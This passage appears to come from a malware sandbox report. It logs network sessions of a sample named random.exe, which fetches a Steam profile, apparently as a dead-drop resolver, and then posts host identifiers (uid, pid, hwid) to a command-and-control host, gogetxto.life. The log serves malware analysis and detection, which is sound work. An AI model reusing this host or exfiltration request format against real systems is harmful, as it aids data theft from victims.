2025-03-19 13:01:14 UTC	1369	IN	Data Raw: 8a c0 85 f1 50 24 91 ee 5a 77 51 60 e2 38 6a 6b 9c 59 00 2f bc 5b af bd 3c 95 2c 49 b0 ab d6 0b f1 ef 48 ad d2 2a 4b 58 65 3a ce 61 48 f9 a7 81 d2 a7 0f dc 82 5a 17 09 a8 5b 4f f2 6f 06 ef d8 71 b7 8b 92 dd 28 07 64 19 93 a8 8c 96 e7 2b 6c 5c b7 8e c0 76 a8 e9 dd d7 cb b4 fb 58 f1 d1 dc 0f b1 e8 ec b2 c2 98 fd 57 64 40 2d 84 d6 d0 43 35 1e 0d db e5 9c 25 e0 2b b9 32 9a cf 20 ff 28 a5 62 e7 63 9a 4b 1e 19 7d b3 d0 1f 17 de b1 e2 4b f8 1d 79 20 6a 3e e9 91 d6 9f fc 74 fa 3e be fa 12 d0 04 01 5e 18 c2 4e 55 58 b2 0e 54 83 b2 95 be a6 c6 1a 62 95 ff 19 ad 7c da f8 74 cd 71 f7 45 2f 95 1b fe 8d af 4b 9f 1a dc d7 15 67 01 9b 2c 17 58 5d db 50 75 bc c6 f8 ea a5 ed c9 be c1 b3 17 14 c9 24 46 54 41 4e 7b 9a 95 63 38 40 4a 00 cd 44 b0 42 4e 9d ac 12 24 dd 0f 88 4e Data Ascii: P$ZwQ`8jkY/[<,IH*KXe:aHZ[Ooq(d+l\vXWd@-C5%+2 (bcK}Ky j>t>^NUXTb\|tqE/Kg,X]Pu$FTAN{c8@JDBN$N
2025-03-19 13:01:14 UTC	1369	IN	Data Raw: 75 cc 2f fd a2 fa e2 20 8d c2 c2 f8 67 2c 26 da 99 50 48 6c b8 c5 8e dd c4 76 43 d0 d0 49 d7 3c c5 24 8a 77 36 7d 58 84 5e 20 a6 b8 73 72 a7 8a 57 59 08 ba 66 7d 9f d0 ee 68 aa 6e d2 a4 f0 72 6d dd 39 fc 06 f4 b8 5e 3a 29 53 1c ab 74 83 2f 8e f1 0d e4 ef df ed bd 96 8b 35 e4 10 65 b3 36 10 c0 b0 3b 6e 85 52 35 55 27 f6 61 81 c4 09 a4 4a ec 3c a4 86 da a0 10 ee ad da a8 53 2b cb 4d 84 d2 f5 d7 a1 0e 3d 5e a1 cc dd bb 80 40 1a 9f 52 e2 3e 2d aa 96 32 81 34 20 11 d6 b6 de 7f d8 4e 8b 8b 15 ff 02 3d 49 57 63 b9 20 54 05 eb 88 48 0e 3e 9a be c3 fd 4e cc 54 fe 3b 1b 86 9f 5f 0d 94 4a 4d 30 9a 26 dd 2f 31 79 1d f4 76 14 0b a3 ec 18 a7 e3 09 25 da 67 db a3 7a 9b a1 92 6c c1 d9 a1 e1 f0 5e 61 f1 c5 ff 93 b7 87 05 6d 54 fc eb d1 61 41 96 dd ae 11 40 00 c7 cb f6 01 Data Ascii: u/ g,&PHlvCI<$w6}X^ srWYf}hnrm9^:)St/5e6;nR5U'aJ<S+M=^@R>-24 N=IWc TH>NT;_JM0&/1yv%gzl^amTaA@
2025-03-19 13:01:14 UTC	1369	IN	Data Raw: bb af 02 0c fa 9e cc 42 5d 80 9b 34 bc 92 80 65 0f 92 a5 c3 fa d2 a3 2d bc dc e7 3a 03 25 a4 ac df 90 f6 9b bd a8 35 b6 d3 23 3c 1c ea 37 a0 99 6c 90 a1 94 59 cb 46 84 27 43 e6 1c 36 9a da d7 e8 ff e8 f1 14 02 db ab e0 08 33 67 54 7a 04 a8 0e 67 9f 45 0b 3d 71 8f bd 8c 3d 7e 32 26 41 f8 81 c2 73 1f 67 e5 29 bd d3 db 30 0b 2d 22 63 07 df de 89 06 63 8e 21 68 60 8a f0 d5 ad ca cb 44 62 10 3d 6d 3d 74 fc 4e 68 83 59 a3 69 29 41 30 30 97 d3 e1 27 f1 dc b3 33 b3 01 b6 2c f3 3a 1f 46 51 86 7a 5e 60 b3 5d 72 73 2b 1d 66 0c 2a 35 78 27 92 d0 46 fd 6c fd 23 dd ea 34 ee ee 63 9b 82 54 09 d0 8e 09 95 3f 62 65 17 65 e9 7e 98 30 74 85 31 f4 89 5d a3 e7 48 7c 6f 7d ab 89 42 d6 0f 66 d0 a4 e1 0b 04 ad de a1 60 25 e9 3e b3 90 83 6f d8 f5 a4 33 32 22 52 30 6a e2 46 4d 4f Data Ascii: B]4e-:%5#<7lYF'C63gTzgE=q=~2&Asg)0-"cc!h`Db=m=tNhYi)A00'3,:FQz^`]rs+f*5x'Fl#4cT?bee~0t1]H\|o}Bf`%>o32"R0jFMO
2025-03-19 13:01:14 UTC	1369	IN	Data Raw: db 77 02 0c 87 a5 91 52 49 b7 65 c6 cb 40 90 87 97 5e ee 19 14 51 5f f1 cb f4 d8 87 11 51 af a6 4b 16 ec f8 35 f1 0b ba 07 e8 52 86 c8 35 f5 b6 53 26 79 54 d3 23 cd 05 e9 57 a9 30 9d 14 88 d4 18 b8 6d 4b ce ab b1 41 9b e1 06 a4 bc b0 2a 3a d5 7d 66 92 8e 2d 23 3a 78 6d d8 e0 86 8e 80 94 61 4e 8d cf ff b7 62 67 19 12 49 67 c5 81 b2 9a b4 b2 98 4d 2b f1 f8 ba 4c d8 e4 32 03 9b 6d 06 32 d6 5b fa 90 19 1b 36 c4 36 34 9d 6c a4 21 e0 77 91 4a 27 3b 7b e4 b6 31 a1 5a 4b 79 32 42 1a a2 5d f1 e6 61 a9 23 43 ed 03 36 ff 85 7a f2 fd 01 ea 2f c6 66 c1 e4 a1 74 46 3f bf c0 84 82 22 be 91 c0 b3 b8 f2 49 df 89 86 6d 04 96 f9 69 0d 91 d0 b9 f4 37 96 0d 30 b9 4a 06 93 68 af bc 4c 98 fd 5a 71 d1 4e 14 7d e9 61 7a 39 16 40 52 b3 87 69 6d e2 9f 1a e5 85 0b 2d 89 57 95 ae 6a Data Ascii: wRIe@^Q_QK5R5S&yT#W0mKA*:}f-#:xmaNbgIgM+L2m2[664l!wJ';{1ZKy2B]a#C6z/ftF?"Imi70JhLZqN}az9@Rim-Wj
2025-03-19 13:01:14 UTC	1369	IN	Data Raw: af 9d 90 d3 bb f6 50 4e 21 4e 0b 15 39 61 f0 4f 89 cd a9 3a a1 34 dd c4 87 64 5d 10 3c e9 c9 a1 f0 0d c2 90 9a 87 cc 9f 6c bc 90 b7 8a f5 da a3 e5 f9 e6 66 ed ab 03 3c a5 48 f6 75 a8 6d cd 8e a5 06 4a 88 b5 0c b9 62 a7 25 97 da 35 e2 ec 23 52 db 50 5c 1f 46 24 2b ea 2e 34 68 61 a4 d3 6f f7 ea 82 c2 ba ea 3e 21 da c5 73 35 d6 40 26 3c 7e be 1f d8 6c c7 9c 3b 04 9d 88 30 7b 10 59 36 07 82 a5 13 b5 00 c8 11 b3 ec 1f 6f 95 02 1f 53 9a 53 f8 ec 21 76 93 9d 61 3e 7c 41 aa f9 cb 14 5a 35 cc 3d e3 2b 2e b2 7e 20 78 3f f5 76 5d 12 50 ff d7 a3 f1 cd a0 54 0c d1 91 15 cf 84 80 95 48 44 5f 3d 1f 89 e8 6a f8 de ae 6e 4b f6 0f d8 fd cc da 62 a0 62 b4 a0 d3 fc 39 86 65 67 d9 f9 3e 5b 4c 06 11 e6 23 ad f6 5a cf 05 f9 c1 f3 40 ad a2 c2 94 4c 70 bf 13 fc 53 00 f5 29 70 70 Data Ascii: PN!N9aO:4d]<lf<HumJb%5#RP\F$+.4hao>!s5@&<~l;0{Y6oSS!va>\|AZ5=+.~ x?v]PTHD_=jnKbb9eg>[L#Z@LpS)pp
2025-03-19 13:01:14 UTC	1369	IN	Data Raw: f5 7b 4e a3 58 b4 18 f8 8e 64 f9 6e 06 12 24 e7 38 22 44 04 cb 92 bf e8 c1 38 51 87 b2 f9 f2 ae 07 29 ea 85 ae e7 99 83 d4 9b 3b d4 fb 8e df f6 bf c0 74 b1 4a ad b1 c6 8f b5 6c 3a d3 7f 62 8c b3 f4 a1 a6 c2 08 f3 d6 83 ba 44 4e d9 db a6 e7 91 d1 ef c6 4a b7 12 76 fb a7 bf a1 7f 16 62 19 a2 34 59 ba be 6c 46 89 c2 38 8a 73 c9 cc 1a c5 1d bd f8 bd e2 2f 91 89 14 db ee 3f 42 db bc 00 86 cb c2 7f e8 de 67 d2 43 55 04 38 ef da 10 d5 51 3c 41 68 1d 70 d9 3c 6d 51 80 08 6e 10 63 20 18 aa f6 f1 c2 e3 35 b7 b7 0b 0d 1e 4b b5 96 79 81 df 57 9f 7e aa 9f be 90 25 cb a2 1e 58 31 e3 b5 61 8a f0 65 a6 14 07 21 80 a9 1c 37 36 11 b6 cf 8c c1 fc d5 01 fd 94 e1 59 59 99 c7 89 b7 4d 04 5b 49 0a 7e 36 87 fe ec df d0 f4 24 cb 89 c7 db eb 75 db 58 08 4d 12 1f 8e 4d e3 1a d6 a6 Data Ascii: {NXdn$8"D8Q);tJl:bDNJvb4YlF8s/?BgCU8Q<Ahp<mQnc 5KyW~%X1ae!76YYM[I~6$uXMM

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.11	49700	23.197.127.21	443	6452	C:\Users\user\Desktop\random.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-19 13:01:15 UTC	94	OUT	GET /profiles/76561199822375128 HTTP/1.1 Connection: Keep-Alive Host: steamcommunity.com
2025-03-19 13:01:15 UTC	1974	IN	HTTP/1.1 200 OK Server: nginx Content-Type: text/html; charset=UTF-8 X-Frame-Options: SAMEORIGIN Content-Security-Policy: default-src blob: data: https: 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://community.cloudflare.steamstatic.com/ https://cdn.cloudflare.steamstatic.com/steamcommunity/public/assets/ https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.cloudflare.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://.valvesoftware.com https://.steambeta.net https://.discovery.beta.steamserver.net https://.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https:// [TRUNCATED] Expires: Mon, 26 Jul 1997 05:00:00 GMT Cache-Control: no-cache Date: Wed, 19 Mar 2025 13:01:15 GMT Content-Length: 36122 Connection: close Set-Cookie: sessionid=31d37659d841f256b675ad1f; Path=/; Secure; SameSite=None Set-Cookie: steamCountry=US%7C9d572defde0400a76af5b032f8ebba09; path=/; secure; HttpOnly; SameSite=None
2025-03-19 13:01:15 UTC	14410	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 20 72 65 73 70 6f 6e 73 69 76 65 20 44 65 73 6b 74 6f 70 55 49 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 3e 0a 09 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0a 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 74 68 65 6d 65 2d 63 6f 6c 6f 72 22 20 63 6f 6e 74 65 6e 74 3d 22 23 31 37 31 61 32 31 22 3e Data Ascii: <!DOCTYPE html><html class=" responsive DesktopUI" lang="en"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><meta name="viewport" content="width=device-width,initial-scale=1"><meta name="theme-color" content="#171a21">
2025-03-19 13:01:15 UTC	10166	IN	Data Raw: 09 09 3c 2f 61 3e 0a 09 09 09 09 09 09 09 09 09 09 09 09 09 09 3c 61 20 63 6c 61 73 73 3d 22 73 75 62 6d 65 6e 75 69 74 65 6d 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 74 6f 72 65 2e 73 74 65 61 6d 70 6f 77 65 72 65 64 2e 63 6f 6d 2f 73 74 61 74 73 2f 22 3e 0a 09 09 09 09 09 09 53 74 61 74 73 09 09 09 09 09 09 09 09 09 09 09 3c 2f 61 3e 0a 09 09 09 09 09 09 09 3c 2f 64 69 76 3e 0a 09 09 09 09 09 09 09 09 09 09 3c 61 20 63 6c 61 73 73 3d 22 6d 65 6e 75 69 74 65 6d 20 73 75 70 65 72 6e 61 76 20 73 75 70 65 72 6e 61 76 5f 61 63 74 69 76 65 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 74 65 61 6d 63 6f 6d 6d 75 6e 69 74 79 2e 63 6f 6d 2f 22 20 64 61 74 61 2d 74 6f 6f 6c 74 69 70 2d 74 79 70 65 3d 22 73 65 6c 65 63 74 6f 72 22 20 64 61 74 61 2d Data Ascii: </a><a class="submenuitem" href="https://store.steampowered.com/stats/">Stats</a></div><a class="menuitem supernav supernav_active" href="https://steamcommunity.com/" data-tooltip-type="selector" data-
2025-03-19 13:01:15 UTC	11546	IN	Data Raw: 54 41 4d 50 26 71 75 6f 74 3b 3a 31 37 34 32 33 38 39 32 37 35 2c 26 71 75 6f 74 3b 49 4e 5f 54 45 4e 46 4f 4f 54 26 71 75 6f 74 3b 3a 66 61 6c 73 65 2c 26 71 75 6f 74 3b 49 4e 5f 47 41 4d 45 50 41 44 55 49 26 71 75 6f 74 3b 3a 66 61 6c 73 65 2c 26 71 75 6f 74 3b 49 4e 5f 43 48 52 4f 4d 45 4f 53 26 71 75 6f 74 3b 3a 66 61 6c 73 65 2c 26 71 75 6f 74 3b 49 4e 5f 4d 4f 42 49 4c 45 5f 57 45 42 56 49 45 57 26 71 75 6f 74 3b 3a 66 61 6c 73 65 2c 26 71 75 6f 74 3b 50 4c 41 54 46 4f 52 4d 26 71 75 6f 74 3b 3a 26 71 75 6f 74 3b 75 6e 6b 6e 6f 77 6e 26 71 75 6f 74 3b 2c 26 71 75 6f 74 3b 42 41 53 45 5f 55 52 4c 5f 53 54 4f 52 45 5f 43 44 4e 5f 41 53 53 45 54 53 26 71 75 6f 74 3b 3a 26 71 75 6f 74 3b 68 74 74 70 73 3a 5c 2f 5c 2f 63 64 6e 2e 63 6c 6f 75 64 66 6c 61 Data Ascii: TAMP":1742389275,"IN_TENFOOT":false,"IN_GAMEPADUI":false,"IN_CHROMEOS":false,"IN_MOBILE_WEBVIEW":false,"PLATFORM":"unknown","BASE_URL_STORE_CDN_ASSETS":"https:\/\/cdn.cloudfla

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.11	49701	172.67.140.127	443	6452	C:\Users\user\Desktop\random.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-19 13:01:16 UTC	279	OUT	POST /Aosn HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=8gVVPf3O7lZfa9uqz User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 14506 Host: gogetxto.life
2025-03-19 13:01:16 UTC	14506	OUT	Data Raw: 2d 2d 38 67 56 56 50 66 33 4f 37 6c 5a 66 61 39 75 71 7a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 75 69 64 22 0d 0a 0d 0a 61 32 39 64 61 33 35 64 64 30 38 31 30 35 37 36 65 61 35 65 38 62 37 61 39 30 37 37 64 32 65 63 0d 0a 2d 2d 38 67 56 56 50 66 33 4f 37 6c 5a 66 61 39 75 71 7a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 38 67 56 56 50 66 33 4f 37 6c 5a 66 61 39 75 71 7a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 30 35 45 30 45 35 44 36 30 36 46 42 38 44 32 32 Data Ascii: --8gVVPf3O7lZfa9uqzContent-Disposition: form-data; name="uid"a29da35dd0810576ea5e8b7a9077d2ec--8gVVPf3O7lZfa9uqzContent-Disposition: form-data; name="pid"2--8gVVPf3O7lZfa9uqzContent-Disposition: form-data; name="hwid"05E0E5D606FB8D22
2025-03-19 13:01:16 UTC	816	IN	HTTP/1.1 200 OK Date: Wed, 19 Mar 2025 13:01:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=cnG4Z7p4XfDSYDPjOnn8m4jrwSw25b7TDd%2FN87j8zZYi%2BJDloiXEqOUV8A%2FRX49UXBg6re9%2FrVwPS52L4PJlqBr7ShgFsEez%2FrYIe3NIe0RCKw2h%2B%2FMtyuh3fYfKO2Zh"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 922d2851dd0f42be-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=9698&min_rtt=9243&rtt_var=4378&sent=11&recv=17&lost=0&retrans=0&sent_bytes=2829&recv_bytes=15443&delivery_rate=226532&cwnd=252&unsent_bytes=0&cid=097a8ae8cfe9ba0a&ts=611&x=0"
2025-03-19 13:01:16 UTC	75	IN	Data Raw: 34 35 0d 0a 7b 22 73 75 63 63 65 73 73 22 3a 7b 22 6d 65 73 73 61 67 65 22 3a 22 6d 65 73 73 61 67 65 20 73 75 63 63 65 73 73 20 64 65 6c 69 76 65 72 79 20 66 72 6f 6d 20 32 30 36 2e 36 36 2e 39 39 2e 31 38 38 22 7d 7d 0d 0a Data Ascii: 45{"success":{"message":"message success delivery from 206.66.99.188"}}
2025-03-19 13:01:16 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.11	49702	23.197.127.21	443	6452	C:\Users\user\Desktop\random.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-19 13:01:18 UTC	94	OUT	GET /profiles/76561199822375128 HTTP/1.1 Connection: Keep-Alive Host: steamcommunity.com
2025-03-19 13:01:18 UTC	1974	IN	HTTP/1.1 200 OK Server: nginx Content-Type: text/html; charset=UTF-8 X-Frame-Options: SAMEORIGIN Content-Security-Policy: default-src blob: data: https: 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://community.cloudflare.steamstatic.com/ https://cdn.cloudflare.steamstatic.com/steamcommunity/public/assets/ https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.cloudflare.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://.valvesoftware.com https://.steambeta.net https://.discovery.beta.steamserver.net https://.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https:// [TRUNCATED] Expires: Mon, 26 Jul 1997 05:00:00 GMT Cache-Control: no-cache Date: Wed, 19 Mar 2025 13:01:18 GMT Content-Length: 26508 Connection: close Set-Cookie: sessionid=226789d83191109d4b37f1a3; Path=/; Secure; SameSite=None Set-Cookie: steamCountry=US%7C9d572defde0400a76af5b032f8ebba09; path=/; secure; HttpOnly; SameSite=None
2025-03-19 13:01:18 UTC	14410	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 20 72 65 73 70 6f 6e 73 69 76 65 20 44 65 73 6b 74 6f 70 55 49 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 3e 0a 09 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0a 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 74 68 65 6d 65 2d 63 6f 6c 6f 72 22 20 63 6f 6e 74 65 6e 74 3d 22 23 31 37 31 61 32 31 22 3e Data Ascii: <!DOCTYPE html><html class=" responsive DesktopUI" lang="en"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><meta name="viewport" content="width=device-width,initial-scale=1"><meta name="theme-color" content="#171a21">
2025-03-19 13:01:18 UTC	10166	IN	Data Raw: 6b 22 20 69 64 3d 22 6c 61 6e 67 75 61 67 65 5f 70 75 6c 6c 64 6f 77 6e 22 20 6f 6e 63 6c 69 63 6b 3d 22 53 68 6f 77 4d 65 6e 75 28 20 74 68 69 73 2c 20 27 6c 61 6e 67 75 61 67 65 5f 64 72 6f 70 64 6f 77 6e 27 2c 20 27 72 69 67 68 74 27 20 29 3b 22 3e 6c 61 6e 67 75 61 67 65 3c 2f 73 70 61 6e 3e 0a 09 09 09 09 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 70 6f 70 75 70 5f 62 6c 6f 63 6b 5f 6e 65 77 22 20 69 64 3d 22 6c 61 6e 67 75 61 67 65 5f 64 72 6f 70 64 6f 77 6e 22 20 73 74 79 6c 65 3d 22 64 69 73 70 6c 61 79 3a 20 6e 6f 6e 65 3b 22 3e 0a 09 09 09 09 09 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 70 6f 70 75 70 5f 62 6f 64 79 20 70 6f 70 75 70 5f 6d 65 6e 75 22 3e 0a 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 Data Ascii: k" id="language_pulldown" onclick="ShowMenu( this, 'language_dropdown', 'right' );">language</span><div class="popup_block_new" id="language_dropdown" style="display: none;"><div class="popup_body popup_menu">
2025-03-19 13:01:18 UTC	1932	IN	Data Raw: 73 65 63 74 69 6f 6e 54 65 78 74 22 3e 0a 09 09 09 09 41 6e 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 70 72 6f 63 65 73 73 69 6e 67 20 79 6f 75 72 20 72 65 71 75 65 73 74 3a 3c 62 72 3e 3c 62 72 3e 0a 09 09 09 3c 2f 70 3e 0a 09 09 09 3c 68 33 3e 46 61 69 6c 65 64 20 6c 6f 61 64 69 6e 67 20 70 72 6f 66 69 6c 65 20 64 61 74 61 2c 20 70 6c 65 61 73 65 20 74 72 79 20 61 67 61 69 6e 20 6c 61 74 65 72 2e 3c 2f 68 33 3e 3c 62 72 3e 3c 62 72 3e 0a 09 09 09 3c 70 20 63 6c 61 73 73 3d 22 72 65 74 75 72 6e 4c 69 6e 6b 22 3e 48 65 72 65 27 73 20 61 20 6c 69 6e 6b 20 74 6f 20 74 68 65 20 53 74 65 61 6d 20 43 6f 6d 6d 75 6e 69 74 79 20 3c 61 20 63 6c 61 73 73 3d 22 6c 69 6e 6b 53 74 61 6e 64 61 72 64 22 20 68 72 65 66 3d 22 Data Ascii: sectionText">An error was encountered while processing your request:<br><br></p><h3>Failed loading profile data, please try again later.</h3><br><br><p class="returnLink">Here's a link to the Steam Community <a class="linkStandard" href="

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.11	49703	23.197.127.21	443	6452	C:\Users\user\Desktop\random.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-19 13:01:19 UTC	94	OUT	GET /profiles/76561199822375128 HTTP/1.1 Connection: Keep-Alive Host: steamcommunity.com
2025-03-19 13:01:19 UTC	1974	IN	HTTP/1.1 200 OK Server: nginx Content-Type: text/html; charset=UTF-8 X-Frame-Options: SAMEORIGIN Content-Security-Policy: default-src blob: data: https: 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://community.cloudflare.steamstatic.com/ https://cdn.cloudflare.steamstatic.com/steamcommunity/public/assets/ https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.cloudflare.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://.valvesoftware.com https://.steambeta.net https://.discovery.beta.steamserver.net https://.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https:// [TRUNCATED] Expires: Mon, 26 Jul 1997 05:00:00 GMT Cache-Control: no-cache Date: Wed, 19 Mar 2025 13:01:19 GMT Content-Length: 26508 Connection: close Set-Cookie: sessionid=14ea022ad61ad686e7b32f7f; Path=/; Secure; SameSite=None Set-Cookie: steamCountry=US%7C9d572defde0400a76af5b032f8ebba09; path=/; secure; HttpOnly; SameSite=None
2025-03-19 13:01:19 UTC	14410	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 20 72 65 73 70 6f 6e 73 69 76 65 20 44 65 73 6b 74 6f 70 55 49 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 3e 0a 09 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0a 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 74 68 65 6d 65 2d 63 6f 6c 6f 72 22 20 63 6f 6e 74 65 6e 74 3d 22 23 31 37 31 61 32 31 22 3e Data Ascii: <!DOCTYPE html><html class=" responsive DesktopUI" lang="en"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><meta name="viewport" content="width=device-width,initial-scale=1"><meta name="theme-color" content="#171a21">
2025-03-19 13:01:19 UTC	10166	IN	Data Raw: 6b 22 20 69 64 3d 22 6c 61 6e 67 75 61 67 65 5f 70 75 6c 6c 64 6f 77 6e 22 20 6f 6e 63 6c 69 63 6b 3d 22 53 68 6f 77 4d 65 6e 75 28 20 74 68 69 73 2c 20 27 6c 61 6e 67 75 61 67 65 5f 64 72 6f 70 64 6f 77 6e 27 2c 20 27 72 69 67 68 74 27 20 29 3b 22 3e 6c 61 6e 67 75 61 67 65 3c 2f 73 70 61 6e 3e 0a 09 09 09 09 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 70 6f 70 75 70 5f 62 6c 6f 63 6b 5f 6e 65 77 22 20 69 64 3d 22 6c 61 6e 67 75 61 67 65 5f 64 72 6f 70 64 6f 77 6e 22 20 73 74 79 6c 65 3d 22 64 69 73 70 6c 61 79 3a 20 6e 6f 6e 65 3b 22 3e 0a 09 09 09 09 09 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 70 6f 70 75 70 5f 62 6f 64 79 20 70 6f 70 75 70 5f 6d 65 6e 75 22 3e 0a 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 Data Ascii: k" id="language_pulldown" onclick="ShowMenu( this, 'language_dropdown', 'right' );">language</span><div class="popup_block_new" id="language_dropdown" style="display: none;"><div class="popup_body popup_menu">
